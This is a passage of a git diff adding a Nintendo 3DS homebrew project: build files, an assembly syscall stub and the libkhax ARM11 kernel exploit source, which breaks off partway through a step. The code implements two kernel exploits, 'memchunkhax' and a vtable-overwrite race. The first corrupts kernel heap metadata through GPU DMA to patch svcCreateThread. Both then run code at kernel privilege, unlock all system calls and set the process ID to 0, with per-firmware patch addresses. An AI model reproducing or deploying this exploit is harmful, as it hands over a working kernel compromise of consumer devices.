+# options for code generation +#--------------------------------------------------------------------------------- +ARCH := -march=armv6k -mtune=mpcore -mfloat-abi=hard + +CFLAGS := -g -Wall -O2 -mword-relocations \ + -fomit-frame-pointer -ffast-math \ + $(ARCH) + +CFLAGS += $(INCLUDE) -DARM11 -D_3DS + +CXXFLAGS := $(CFLAGS) -fno-rtti -fno-exceptions -std=gnu++11 + +ASFLAGS := -g $(ARCH) +LDFLAGS = -specs=3dsx.specs -g $(ARCH) -Wl,-Map,$(notdir $*.map) + +LIBS := -lctru -lm + +#--------------------------------------------------------------------------------- +# list of directories containing libraries, this must be the top level containing +# include and lib +#--------------------------------------------------------------------------------- +LIBDIRS := $(CTRULIB) + + +#--------------------------------------------------------------------------------- +# no real need to edit anything past this point unless you need to add additional +# rules for different file extensions +#--------------------------------------------------------------------------------- +ifneq ($(BUILD),$(notdir $(CURDIR))) +#--------------------------------------------------------------------------------- + +export OUTPUT := $(CURDIR)/$(TARGET) +export TOPDIR := $(CURDIR) + +export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \ + $(foreach dir,$(DATA),$(CURDIR)/$(dir)) + +export DEPSDIR := $(CURDIR)/$(BUILD) + +CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c))) +CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp))) +SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s))) +BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*))) + +#--------------------------------------------------------------------------------- +# use CXX for linking C++ projects, CC for standard C +#--------------------------------------------------------------------------------- +ifeq ($(strip $(CPPFILES)),) +#--------------------------------------------------------------------------------- + export LD := $(CC) +#--------------------------------------------------------------------------------- +else +#--------------------------------------------------------------------------------- + export LD := $(CXX) +#--------------------------------------------------------------------------------- +endif +#--------------------------------------------------------------------------------- + +export OFILES := $(addsuffix .o,$(BINFILES)) \ + $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o) + +export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \ + $(foreach dir,$(LIBDIRS),-I$(dir)/include) \ + -I$(CURDIR)/$(BUILD) + +export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) + +ifeq ($(strip $(ICON)),) + icons := $(wildcard *.png) + ifneq (,$(findstring $(TARGET).png,$(icons))) + export APP_ICON := $(TOPDIR)/$(TARGET).png + else + ifneq (,$(findstring icon.png,$(icons))) + export APP_ICON := $(TOPDIR)/icon.png + endif + endif +else + export APP_ICON := $(TOPDIR)/$(ICON) +endif + +ifeq ($(strip $(NO_SMDH)),) + export _3DSXFLAGS += --smdh=$(CURDIR)/$(TARGET).smdh +endif + +.PHONY: $(BUILD) clean all + +#--------------------------------------------------------------------------------- +all: $(BUILD) + +$(BUILD): + @[ -d $@ ] || mkdir -p $@ + @$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile + +#--------------------------------------------------------------------------------- +clean: + @echo clean ... + @rm -fr $(BUILD) $(TARGET).3dsx $(OUTPUT).smdh $(TARGET).elf + + +#--------------------------------------------------------------------------------- +else + +DEPENDS := $(OFILES:.o=.d) + +#--------------------------------------------------------------------------------- +# main targets +#--------------------------------------------------------------------------------- +ifeq ($(strip $(NO_SMDH)),) +$(OUTPUT).3dsx : $(OUTPUT).elf $(OUTPUT).smdh +else +$(OUTPUT).3dsx : $(OUTPUT).elf +endif +$(OUTPUT).elf : $(OFILES) + +#--------------------------------------------------------------------------------- +# you need a rule like this for each extension you use as binary data +#--------------------------------------------------------------------------------- +%.bin.o : %.bin +#--------------------------------------------------------------------------------- + @echo $(notdir $<) + @$(bin2o) + +# WARNING: This is not the right way to do this! TODO: Do it right! +#--------------------------------------------------------------------------------- +%.vsh.o : %.vsh +#--------------------------------------------------------------------------------- + @echo $(notdir $<) + @python $(AEMSTRO)/aemstro_as.py $< ../$(notdir $<).shbin + @bin2s ../$(notdir $<).shbin | $(PREFIX)as -o $@ + @echo "extern const u8" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"_end[];" > `(echo $(notdir $<).shbin | tr . _)`.h + @echo "extern const u8" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"[];" >> `(echo $(notdir $<).shbin | tr . _)`.h + @echo "extern const u32" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`_size";" >> `(echo $(notdir $<).shbin | tr . _)`.h + @rm ../$(notdir $<).shbin + +-include $(DEPENDS) + +#--------------------------------------------------------------------------------------- +endif +#--------------------------------------------------------------------------------------- diff --git a/ntrcardhax_arm11/build.bat b/ntrcardhax_arm11/build.bat new file mode 100644 index 0000000..89abfed --- /dev/null +++ b/ntrcardhax_arm11/build.bat @@ -0,0 +1,3 @@ +@echo off +make +pause \ No newline at end of file diff --git a/ntrcardhax_arm11/clean.bat b/ntrcardhax_arm11/clean.bat new file mode 100644 index 0000000..a03f3ea --- /dev/null +++ b/ntrcardhax_arm11/clean.bat @@ -0,0 +1,3 @@ +@echo off +make clean +pause \ No newline at end of file diff --git a/ntrcardhax_arm11/source/csvc.s b/ntrcardhax_arm11/source/csvc.s new file mode 100644 index 0000000..08033a3 --- /dev/null +++ b/ntrcardhax_arm11/source/csvc.s @@ -0,0 +1,17 @@ +.arm +.align 4 + +.macro SVC_BEGIN name + .section .text.\name, "ax", %progbits + .global \name + .type \name, %function + .align 2 +\name: +.endm + +SVC_BEGIN svcMapMemory + push {r4} + mov r4, #3 + svc 0x6d + pop {r4} + bx lr \ No newline at end of file diff --git a/ntrcardhax_arm11/source/khax.h b/ntrcardhax_arm11/source/khax.h new file mode 100644 index 0000000..f71e802 --- /dev/null +++ b/ntrcardhax_arm11/source/khax.h @@ -0,0 +1,18 @@ +#pragma once + +#define KHAX_DEBUG + +#include <3ds.h> + +#ifdef __cplusplus +extern "C" { +#endif + +// Initialize and do the initial pwning of the ARM11 kernel. +Result khaxInit(); +// Shut down libkhax +Result khaxExit(); + +#ifdef __cplusplus +} +#endif diff --git a/ntrcardhax_arm11/source/khaxinit.cpp b/ntrcardhax_arm11/source/khaxinit.cpp new file mode 100644 index 0000000..c9884b3 --- /dev/null +++ b/ntrcardhax_arm11/source/khaxinit.cpp @@ -0,0 +1,1727 @@ +#include <3ds.h> +#include +#include +#include +#include +#include +#include +#include + +#include "khax.h" +#include "khaxinternal.h" + +extern u32 __ctru_heap; +extern u32 __ctru_heap_size; + +//------------------------------------------------------------------------------------------------ +namespace KHAX +{ + //------------------------------------------------------------------------------------------------ + // Kernel and hardware version information. + struct VersionData + { + // New 3DS? + bool m_new3DS; + // Kernel version number + u32 m_kernelVersion; + // Nominal version number lower bound (for informational purposes only) + u32 m_nominalVersion; + // Patch location in svcCreateThread + u32 m_threadPatchAddress; + // Original version of code at m_threadPatchAddress + static constexpr const u32 m_threadPatchOriginalCode = 0x8DD00CE5; + // System call unlock patch location + u32 m_syscallPatchAddress; + // Kernel virtual address mapping of FCRAM + u32 m_fcramVirtualAddress; + // Physical mapping of FCRAM on this machine + static constexpr const u32 m_fcramPhysicalAddress = 0x20000000; + // Physical size of FCRAM on this machine + u32 m_fcramSize; + // Kernel virtual address mapping of SlabHeap + u32 m_slabHeapVirtualAddress; + // Physical mapping of SlabHeap on this machine + static constexpr const u32 m_slabHeapPhysicalAddress = 0x1FFA0000; + // Constant added to a kernel virtual address to get a physical address. + static constexpr const u32 m_kernelVirtualToPhysical = 0x40000000; + // Address of KThread address in kernel (KThread **) + static constexpr KThread **const m_currentKThreadPtr = reinterpret_cast(0xFFFF9000); + // Address of KProcess address in kernel (KProcess **) + static constexpr void **const m_currentKProcessPtr = reinterpret_cast(0xFFFF9004); + // Pseudo-handle of the current KProcess. + static constexpr const Handle m_currentKProcessHandle = 0xFFFF8001; + // Returned pointers within a KProcess object. This abstracts out which particular + // version of the KProcess object is in use. + struct KProcessPointers + { + KSVCACL *m_svcAccessControl; + u32 *m_kernelFlags; + u32 *m_processID; + }; + // Creates a KProcessPointers for this kernel version and pointer to the object. + KProcessPointers(*m_makeKProcessPointers)(void *kprocess); + + // Convert a user-mode virtual address in the linear heap into a kernel-mode virtual + // address using the version-specific information in this table entry. + void *ConvertLinearUserVAToKernelVA(void *address) const; + + // Retrieve a VersionData for this kernel, or null if not recognized. + static const VersionData *GetForCurrentSystem(); + + private: + // Implementation behind m_makeKProcessPointers. + template + static KProcessPointers MakeKProcessPointers(void *kprocess); + + // Table of these. + static const VersionData s_versionTable[]; + }; + + //------------------------------------------------------------------------------------------------ + // ARM11 kernel hack class. + class MemChunkHax + { + public: + // Construct using the version information for the current system. + MemChunkHax(const VersionData *versionData) + : m_versionData(versionData), + m_nextStep(1), + m_corrupted(0), + m_overwriteMemory(nullptr), + m_overwriteAllocated(0), + m_extraLinear(nullptr) + { + s_instance = this; + } + + // Free memory and such. + ~MemChunkHax(); + + // Umm, don't copy this class. + MemChunkHax(const MemChunkHax &) = delete; + MemChunkHax &operator =(const MemChunkHax &) = delete; + + // Basic initialization. + Result Step1_Initialize(); + // Allocate linear memory for the memchunkhax operation. + Result Step2_AllocateMemory(); + // Free the second and fourth pages of the five. + Result Step3_SurroundFree(); + // Verify that the freed heap blocks' data matches our expected layout. + Result Step4_VerifyExpectedLayout(); + // Corrupt svcCreateThread in the ARM11 kernel and create the foothold. + Result Step5_CorruptCreateThread(); + // Execute svcCreateThread to execute code at SVC privilege. + Result Step6_ExecuteSVCCode(); + // Grant access to all services. + Result Step7_GrantServiceAccess(); + + private: + // SVC-mode entry point thunk (true entry point). + static Result Step6a_SVCEntryPointThunk(); + // SVC-mode entry point. + Result Step6b_SVCEntryPoint(); + // Undo the code patch that Step5_CorruptCreateThread did. + Result Step6c_UndoCreateThreadPatch(); + // Fix the heap corruption caused as a side effect of step 5. + Result Step6d_FixHeapCorruption(); + // Grant our process access to all system calls, including svcBackdoor. + Result Step6e_GrantSVCAccess(); + // Flush instruction and data caches. + Result Step6f_FlushCaches(); + // Patch the process ID to 0. Runs as svcBackdoor. + static Result Step7a_PatchPID(); + // Restore the original PID. Runs as svcBackdoor. + static Result Step7b_UnpatchPID(); + + // Helper for dumping memory to SD card. + template + bool DumpMemberToSDCard(const unsigned char (MemChunkHax::*member)[S], const char *filename) const; + + // Result returned by hacked svcCreateThread upon success. + static constexpr const Result STEP6_SUCCESS_RESULT = 0x1337C0DE; + + // Version information. + const VersionData *const m_versionData; + // Next step number. + int m_nextStep; + // Whether we are in a corrupted state, meaning we cannot continue if an error occurs. + int m_corrupted; + + // The linear memory allocated for the memchunkhax overwrite. + struct OverwriteMemory + { + union + { + unsigned char m_bytes[6 * 4096]; + Page m_pages[6]; + }; + }; + OverwriteMemory *m_overwriteMemory; + unsigned m_overwriteAllocated; + + // Additional linear memory buffer for temporary purposes. + union ExtraLinearMemory + { + ALIGN(64) unsigned char m_bytes[64]; + // When interpreting as a HeapFreeBlock. + HeapFreeBlock m_freeBlock; + }; + // Must be a multiple of 16 for use with gspwn. + static_assert(sizeof(ExtraLinearMemory) % 16 == 0, "ExtraLinearMemory isn't a multiple of 16 bytes"); + ExtraLinearMemory *m_extraLinear; + + // Copy of the old ACL + KSVCACL m_oldACL; + + // Original process ID. + u32 m_originalPID; + + // Buffers for dumped data when debugging. + #ifdef KHAX_DEBUG_DUMP_DATA + unsigned char m_savedKProcess[sizeof(KProcess_8_0_0_New)]; + unsigned char m_savedKThread[sizeof(KThread)]; + unsigned char m_savedThreadSVC[0x100]; + #endif + + // Pointer to our instance. + static MemChunkHax *volatile s_instance; + }; + + class MemChunkHax2 + { + public: + // Construct using the version information for the current system. + MemChunkHax2(const VersionData *versionData) + : m_versionData(versionData), + m_nextStep(1), + m_mapAddr(__ctru_heap + __ctru_heap_size), + m_mapSize(PAGE_SIZE * 2), + m_mapResult(-1), + m_isolatedPage(0), + m_isolatingPage(0), + m_kObjHandle(0), + m_kObjAddr(0), + m_backup(NULL), + m_delayThread(0), + m_oldVtable(NULL), + m_kernelResult(-1) + { + s_instance = this; + } + + // Free memory and such. + ~MemChunkHax2(); + + // Umm, don't copy this class. + MemChunkHax2(const MemChunkHax2 &) = delete; + MemChunkHax2 &operator =(const MemChunkHax2 &) = delete; + + // Basic initialization. + Result Step1_Initialize(); + // Isolate a physical memory page. + Result Step2_IsolatePage(); + // Overwrite the kernel object's vtable pointer. + Result Step3_OverwriteVtable(); + // Grant access to all services. + Result Step4_GrantServiceAccess(); + + private: + // Thread function to slow down svcControlMemory execution. + static void Step3a_DelayThread(void* arg); + // Thread function to allocate memory pages. + static void Step3b_AllocateThread(void* arg); + // SVC-mode entry point thunk (true entry point). + static void Step3c_SVCEntryPointThunk(); + // SVC-mode entry point. + void Step3d_SVCEntryPoint(); + // Grant our process access to all system calls, including svcBackdoor. + Result Step3e_GrantSVCAccess(); + // Restore the backup of cleared kernel memory. + static Result Step3f_RestoreKernelBackup(); + // Patch the process ID to 0. Runs as svcBackdoor. + static Result Step4a_PatchPID(); + // Restore the original PID. Runs as svcBackdoor. + static Result Step4b_UnpatchPID(); + + // Creates an event and outputs its kernel object address (at ref count, not vtable pointer) from r2. + static Result svcCreateEventKAddr(Handle* event, u8 reset_type, u32* kaddr); + + // Index of the destructor in the KEvent vtable. + static constexpr const u32 KEVENT_DESTRUCTOR = 4; + + #define CREATE_FORWARD_FUNC(i) \ + static void ForwardFunc##i() { \ + s_instance->m_oldVtable[i](); \ + } + + #define REF_FORWARD_FUNC(i) \ + ForwardFunc##i + + // Having 10 functions is an arbitrary number to make sure there are enough. + CREATE_FORWARD_FUNC(0) + CREATE_FORWARD_FUNC(1) + CREATE_FORWARD_FUNC(2) + CREATE_FORWARD_FUNC(3) + CREATE_FORWARD_FUNC(4) + CREATE_FORWARD_FUNC(5) + CREATE_FORWARD_FUNC(6) + CREATE_FORWARD_FUNC(7) + CREATE_FORWARD_FUNC(8) + CREATE_FORWARD_FUNC(9) + + void(*m_vtable[10])() = { + REF_FORWARD_FUNC(0), + REF_FORWARD_FUNC(1), + REF_FORWARD_FUNC(2), + REF_FORWARD_FUNC(3), + Step3c_SVCEntryPointThunk, // Destructor + REF_FORWARD_FUNC(5), + REF_FORWARD_FUNC(6), + REF_FORWARD_FUNC(7), + REF_FORWARD_FUNC(8), + REF_FORWARD_FUNC(9) + }; + + // Version information. + const VersionData *const m_versionData; + // Next step number. + int m_nextStep; + // Mapped memory address. + u32 m_mapAddr; + // Mapped memory size. + u32 m_mapSize; + // svcControlMemory result. + Result m_mapResult; + // Isolated page address. + u32 m_isolatedPage; + // Isolating page address. + u32 m_isolatingPage; + // Kernel object handle. + Handle m_kObjHandle; + // Kernel object address. + u32 m_kObjAddr; + // Kernel memory backup. + void* m_backup; + // Thread used to delay memory mapping. + Thread m_delayThread; + // Vtable pointer backup. + void(**m_oldVtable)(); + // Value used to test if we gained kernel code execution. + Result m_kernelResult; + + // Copy of the old ACL + KSVCACL m_oldACL; + + // Original process ID. + u32 m_originalPID; + + // Pointer to our instance. + static MemChunkHax2 *volatile s_instance; + }; + + //------------------------------------------------------------------------------------------------ + // Make an error code + inline Result MakeError(Result level, Result summary, Result module, Result error); + enum : Result { KHAX_MODULE = 254 }; + // Check whether this system is a New 3DS. + Result IsNew3DS(bool *answer, u32 kernelVersionAlreadyKnown = 0); + // gspwn, meant for reading from or writing to freed buffers. + Result GSPwn(void *dest, const void *src, std::size_t size, bool wait = true); + // Nuke the data cache with a bunch of bogus reads. + Result NukeDataCache(); + + // Given a pointer to a structure that is a member of another structure, + // return a pointer to the outer structure. Inspired by Windows macro. + template + Outer *ContainingRecord(Inner *member, Inner Outer::*field); +} + + +//------------------------------------------------------------------------------------------------ +// +// Class VersionData +// + +//------------------------------------------------------------------------------------------------ +// Creates a KProcessPointers for this kernel version and pointer to the object. +template +KHAX::VersionData::KProcessPointers KHAX::VersionData::MakeKProcessPointers(void *kprocess) +{ + KProcessType *kproc = static_cast(kprocess); + + KProcessPointers result; + result.m_svcAccessControl = &kproc->m_svcAccessControl; + result.m_processID = &kproc->m_processID; + result.m_kernelFlags = &kproc->m_kernelFlags; + return result; +} + +//------------------------------------------------------------------------------------------------ +// System version table +const KHAX::VersionData KHAX::VersionData::s_versionTable[] = +{ +#define KPROC_FUNC(ver) MakeKProcessPointers + + // Old 3DS, old address layout + { false, SYSTEM_VERSION(2, 34, 0), SYSTEM_VERSION(4, 1, 0), 0xEFF83C9F, 0xEFF827CC, 0xF0000000, 0x08000000, 0xFFF00000, KPROC_FUNC(1_0_0_Old) }, + { false, SYSTEM_VERSION(2, 35, 6), SYSTEM_VERSION(5, 0, 0), 0xEFF83737, 0xEFF822A8, 0xF0000000, 0x08000000, 0xFFF70000, KPROC_FUNC(1_0_0_Old) }, + { false, SYSTEM_VERSION(2, 36, 0), SYSTEM_VERSION(5, 1, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, 0xFFF70000, KPROC_FUNC(1_0_0_Old) }, + { false, SYSTEM_VERSION(2, 37, 0), SYSTEM_VERSION(6, 0, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, 0xFFF70000, KPROC_FUNC(1_0_0_Old) }, + { false, SYSTEM_VERSION(2, 38, 0), SYSTEM_VERSION(6, 1, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, 0xFFF70000, KPROC_FUNC(1_0_0_Old) }, + { false, SYSTEM_VERSION(2, 39, 4), SYSTEM_VERSION(7, 0, 0), 0xEFF83737, 0xEFF822A8, 0xF0000000, 0x08000000, 0xFFF00000, KPROC_FUNC(1_0_0_Old) }, + { false, SYSTEM_VERSION(2, 40, 0), SYSTEM_VERSION(7, 2, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, 0xFFF00000, KPROC_FUNC(1_0_0_Old) }, + // Old 3DS, new address layout + { false, SYSTEM_VERSION(2, 44, 6), SYSTEM_VERSION(8, 0, 0), 0xDFF8376F, 0xDFF82294, 0xE0000000, 0x08000000, 0xFFF00000, KPROC_FUNC(8_0_0_Old) }, + { false, SYSTEM_VERSION(2, 46, 0), SYSTEM_VERSION(9, 0, 0), 0xDFF8383F, 0xDFF82290, 0xE0000000, 0x08000000, 0xFFF70000, KPROC_FUNC(8_0_0_Old) }, + // memchunkhax does not apply to these, so patch addresses are set to 0x0. + { false, SYSTEM_VERSION(2, 48, 3), SYSTEM_VERSION(9, 3, 0), 0x0, 0x0, 0xE0000000, 0x08000000, 0xFFF70000, KPROC_FUNC(8_0_0_Old) }, + { false, SYSTEM_VERSION(2, 49, 0), SYSTEM_VERSION(9, 5, 0), 0x0, 0x0, 0xE0000000, 0x08000000, 0xFFF70000, KPROC_FUNC(8_0_0_Old) }, + { false, SYSTEM_VERSION(2, 50, 1), SYSTEM_VERSION(9, 6, 0), 0x0, 0x0, 0xE0000000, 0x08000000, 0xFFF70000, KPROC_FUNC(8_0_0_Old) }, + { false, SYSTEM_VERSION(2, 50, 7), SYSTEM_VERSION(10, 0, 0), 0x0, 0x0, 0xE0000000, 0x08000000, 0xFFF70000, KPROC_FUNC(8_0_0_Old) }, + { false, SYSTEM_VERSION(2, 50, 9), SYSTEM_VERSION(10, 2, 0), 0x0, 0x0, 0xE0000000, 0x08000000, 0xFFF70000, KPROC_FUNC(8_0_0_Old) }, + // New 3DS + { true, SYSTEM_VERSION(2, 45, 5), SYSTEM_VERSION(8, 1, 0), 0xDFF83757, 0xDFF82264, 0xE0000000, 0x10000000, 0xFFF70000, KPROC_FUNC(8_0_0_New) }, // untested + { true, SYSTEM_VERSION(2, 46, 0), SYSTEM_VERSION(9, 0, 0), 0xDFF83837, 0xDFF82260, 0xE0000000, 0x10000000, 0xFFF70000, KPROC_FUNC(8_0_0_New) }, + // memchunkhax does not apply to these, so patch addresses are set to 0x0. + { true, SYSTEM_VERSION(2, 48, 3), SYSTEM_VERSION(9, 3, 0), 0x0, 0x0, 0xE0000000, 0x10000000, 0xFFF70000, KPROC_FUNC(8_0_0_New) }, + { true, SYSTEM_VERSION(2, 49, 0), SYSTEM_VERSION(9, 5, 0), 0x0, 0x0, 0xE0000000, 0x10000000, 0xFFF70000, KPROC_FUNC(8_0_0_New) }, + { true, SYSTEM_VERSION(2, 50, 1), SYSTEM_VERSION(9, 6, 0), 0x0, 0x0, 0xE0000000, 0x10000000, 0xFFF70000, KPROC_FUNC(8_0_0_New) }, + { true, SYSTEM_VERSION(2, 50, 7), SYSTEM_VERSION(10, 0, 0), 0x0, 0x0, 0xE0000000, 0x10000000, 0xFFF70000, KPROC_FUNC(8_0_0_New) }, + { true, SYSTEM_VERSION(2, 50, 9), SYSTEM_VERSION(10, 2, 0), 0x0, 0x0, 0xE0000000, 0x10000000, 0xFFF70000, KPROC_FUNC(8_0_0_New) }, + +#undef KPROC_FUNC +}; + +//------------------------------------------------------------------------------------------------ +// Convert a user-mode virtual address in the linear heap into a kernel-mode virtual +// address using the version-specific information in this table entry. +void *KHAX::VersionData::ConvertLinearUserVAToKernelVA(void *address) const +{ + static_assert((std::numeric_limits::max)() == (std::numeric_limits::max)(), + "you're sure that this is a 3DS?"); + + // Convert the address to a physical address, since that's how we know the mapping. + u32 physical = osConvertVirtToPhys(address); + if (physical == 0) + { + return nullptr; + } + + // Verify that the address is within FCRAM. + if ((physical < m_fcramPhysicalAddress) || (physical - m_fcramPhysicalAddress >= m_fcramSize)) + { + return nullptr; + } + + // Now we can convert. + return reinterpret_cast(m_fcramVirtualAddress) + (physical - m_fcramPhysicalAddress); +} + +//------------------------------------------------------------------------------------------------ +// Retrieve a VersionData for this kernel, or null if not recognized. +const KHAX::VersionData *KHAX::VersionData::GetForCurrentSystem() +{ + // Get kernel version for comparison. + u32 kernelVersion = osGetKernelVersion(); + + // Determine whether this is a New 3DS. + bool isNew3DS; + if (IsNew3DS(&isNew3DS, kernelVersion) != 0) + { + return nullptr; + } + + // Search our list for a match. + for (const VersionData *entry = s_versionTable; entry < &s_versionTable[KHAX_lengthof(s_versionTable)]; ++entry) + { + // New 3DS flag must match. + if ((entry->m_new3DS && !isNew3DS) || (!entry->m_new3DS && isNew3DS)) + { + continue; + } + // Kernel version must match. + if (entry->m_kernelVersion != kernelVersion) + { + continue; + } + + return entry; + } + + return nullptr; +} + + +//------------------------------------------------------------------------------------------------ +// +// Class MemChunkHax +// + +//------------------------------------------------------------------------------------------------ +KHAX::MemChunkHax *volatile KHAX::MemChunkHax::s_instance = nullptr; + +//------------------------------------------------------------------------------------------------ +// Basic initialization. +Result KHAX::MemChunkHax::Step1_Initialize() +{ + if (m_nextStep != 1) + { + KHAX_printf("MemChunkHax: Invalid step number %d for Step1_Initialize\n", m_nextStep); + return MakeError(28, 5, KHAX_MODULE, 1016); + } + + // Nothing to do in current implementation. + ++m_nextStep; + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Allocate linear memory for the memchunkhax operation. +Result KHAX::MemChunkHax::Step2_AllocateMemory() +{ + if (m_nextStep != 2) + { + KHAX_printf("MemChunkHax: Invalid step number %d for Step2_AllocateMemory\n", m_nextStep); + return MakeError(28, 5, KHAX_MODULE, 1016); + } + + // Allocate the linear memory for the overwrite process. + u32 address = 0xFFFFFFFF; + Result result = svcControlMemory(&address, 0, 0, sizeof(OverwriteMemory), MEMOP_ALLOC_LINEAR, + static_cast(MEMPERM_READ | MEMPERM_WRITE)); + + KHAX_printf("Step2:res=%08lx addr=%08lx\n", result, address); + + if (result != 0) + { + return result; + } + + m_overwriteMemory = reinterpret_cast(address); + m_overwriteAllocated = (1u << 6) - 1; // all 6 pages allocated now + + // Why didn't we get a page-aligned address?! + if (address & 0xFFF) + { + // Since we already assigned m_overwriteMemory, it'll get freed by our destructor. + KHAX_printf("Step2:misaligned memory\n"); + return MakeError(26, 7, KHAX_MODULE, 1009); + } + + // Allocate extra memory that we'll need. + m_extraLinear = static_cast(linearMemAlign(sizeof(*m_extraLinear), + alignof(*m_extraLinear))); + if (!m_extraLinear) + { + KHAX_printf("Step2:failed extra alloc\n"); + return MakeError(26, 3, KHAX_MODULE, 1011); + } + KHAX_printf("Step2:extra=%p\n", m_extraLinear); + + // OK, we're good here. + ++m_nextStep; + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Free the second and fourth pages of the five. +Result KHAX::MemChunkHax::Step3_SurroundFree() +{ + if (m_nextStep != 3) + { + KHAX_printf("MemChunkHax: Invalid step number %d for Step3_AllocateMemory\n", m_nextStep); + return MakeError(28, 5, KHAX_MODULE, 1016); + } + + // We do this because the exploit involves triggering a heap coalesce. We surround a heap + // block (page) with two freed pages, then free the middle page. By controlling both outside + // pages, we know their addresses, and can fix up the corrupted heap afterward. + // + // Here's what the heap will look like after step 3: + // + // ___XX-X-X___ + // + // _ = unknown (could be allocated and owned by other code) + // X = allocated + // - = allocated then freed by us + // + // In step 4, we will free the second page: + // + // ___X--X-X___ + // + // Heap coalescing will trigger due to two adjacent free blocks existing. The fifth page's + // "previous" pointer will be set to point to the second page rather than the third. We will + // use gspwn to make that overwrite kernel code instead. + // + // We have 6 pages to ensure that we have surrounding allocated pages, giving us a little + // sandbox to play in. In particular, we can use this design to determine the address of the + // next block--by controlling the location of the next block. + u32 dummy; + + // Free the third page. + if (Result result = svcControlMemory(&dummy, reinterpret_cast(&m_overwriteMemory->m_pages[2]), 0, + sizeof(m_overwriteMemory->m_pages[2]), MEMOP_FREE, static_cast(0))) + { + KHAX_printf("Step3:svcCM1 failed:%08lx\n", result); + return result; + } + m_overwriteAllocated &= ~(1u << 2); + + // Free the fifth page. + if (Result result = svcControlMemory(&dummy, reinterpret_cast(&m_overwriteMemory->m_pages[4]), 0, + sizeof(m_overwriteMemory->m_pages[4]), MEMOP_FREE, static_cast(0))) + { + KHAX_printf("Step3:svcCM2 failed:%08lx\n", result); + return result; + } + m_overwriteAllocated &= ~(1u << 4); + + // Attempt to write to remaining pages. + //KHAX_printf("Step2:probing page [0]\n"); + *static_cast(&m_overwriteMemory->m_pages[0].m_bytes[0]) = 0; + //KHAX_printf("Step2:probing page [1]\n"); + *static_cast(&m_overwriteMemory->m_pages[1].m_bytes[0]) = 0; + //KHAX_printf("Step2:probing page [3]\n"); + *static_cast(&m_overwriteMemory->m_pages[3].m_bytes[0]) = 0; + //KHAX_printf("Step2:probing page [5]\n"); + *static_cast(&m_overwriteMemory->m_pages[5].m_bytes[0]) = 0; + KHAX_printf("Step3:probing done\n"); + + // Done. + ++m_nextStep; + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Verify that the freed heap blocks' data matches our expected layout. +Result KHAX::MemChunkHax::Step4_VerifyExpectedLayout() +{ + if (m_nextStep != 4) + { + KHAX_printf("MemChunkHax: Invalid step number %d for Step4_VerifyExpectedLayout\n", m_nextStep); + return MakeError(28, 5, KHAX_MODULE, 1016); + } + + // Copy the first freed page (third page) out to read its heap metadata. + std::memset(m_extraLinear, 0xCC, sizeof(*m_extraLinear)); + + if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[2], + sizeof(*m_extraLinear))) + { + KHAX_printf("Step4:gspwn failed:%08lx\n", result); + return result; + } + + // Debug information about the memory block + KHAX_printf("Step4:[2]u=%p k=%p\n", &m_overwriteMemory->m_pages[2], m_versionData-> + ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[2])); + KHAX_printf("Step4:[2]n=%p p=%p c=%d\n", m_extraLinear->m_freeBlock.m_next, + m_extraLinear->m_freeBlock.m_prev, m_extraLinear->m_freeBlock.m_count); + + // The next page from the third should equal the fifth page. + if (m_extraLinear->m_freeBlock.m_next != m_versionData->ConvertLinearUserVAToKernelVA( + &m_overwriteMemory->m_pages[4])) + { + KHAX_printf("Step4:[2]->next != [4]\n"); + KHAX_printf("Step4:%p %p %p\n", m_extraLinear->m_freeBlock.m_next, + m_versionData->ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[4]), + &m_overwriteMemory->m_pages[4]); + return MakeError(26, 5, KHAX_MODULE, 1014); + } + + // Copy the second freed page (fifth page) out to read its heap metadata. + std::memset(m_extraLinear, 0xCC, sizeof(*m_extraLinear)); + + if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[4], + sizeof(*m_extraLinear))) + { + KHAX_printf("Step4:gspwn failed:%08lx\n", result); + return result; + } + + KHAX_printf("Step4:[4]u=%p k=%p\n", &m_overwriteMemory->m_pages[4], m_versionData-> + ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[4])); + KHAX_printf("Step4:[4]n=%p p=%p c=%d\n", m_extraLinear->m_freeBlock.m_next, + m_extraLinear->m_freeBlock.m_prev, m_extraLinear->m_freeBlock.m_count); + + // The previous page from the fifth should equal the third page. + if (m_extraLinear->m_freeBlock.m_prev != m_versionData->ConvertLinearUserVAToKernelVA( + &m_overwriteMemory->m_pages[2])) + { + KHAX_printf("Step4:[4]->prev != [2]\n"); + KHAX_printf("Step4:%p %p %p\n", m_extraLinear->m_freeBlock.m_prev, + m_versionData->ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[2]), + &m_overwriteMemory->m_pages[2]); + return MakeError(26, 5, KHAX_MODULE, 1014); + } + + // Validation successful + ++m_nextStep; + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Corrupt svcCreateThread in the ARM11 kernel and create the foothold. +Result KHAX::MemChunkHax::Step5_CorruptCreateThread() +{ + if (m_nextStep != 5) + { + KHAX_printf("MemChunkHax: Invalid step number %d for Step5_CorruptCreateThread\n", m_nextStep); + return MakeError(28, 5, KHAX_MODULE, 1016); + } + + // Read the memory page we're going to gspwn. + if 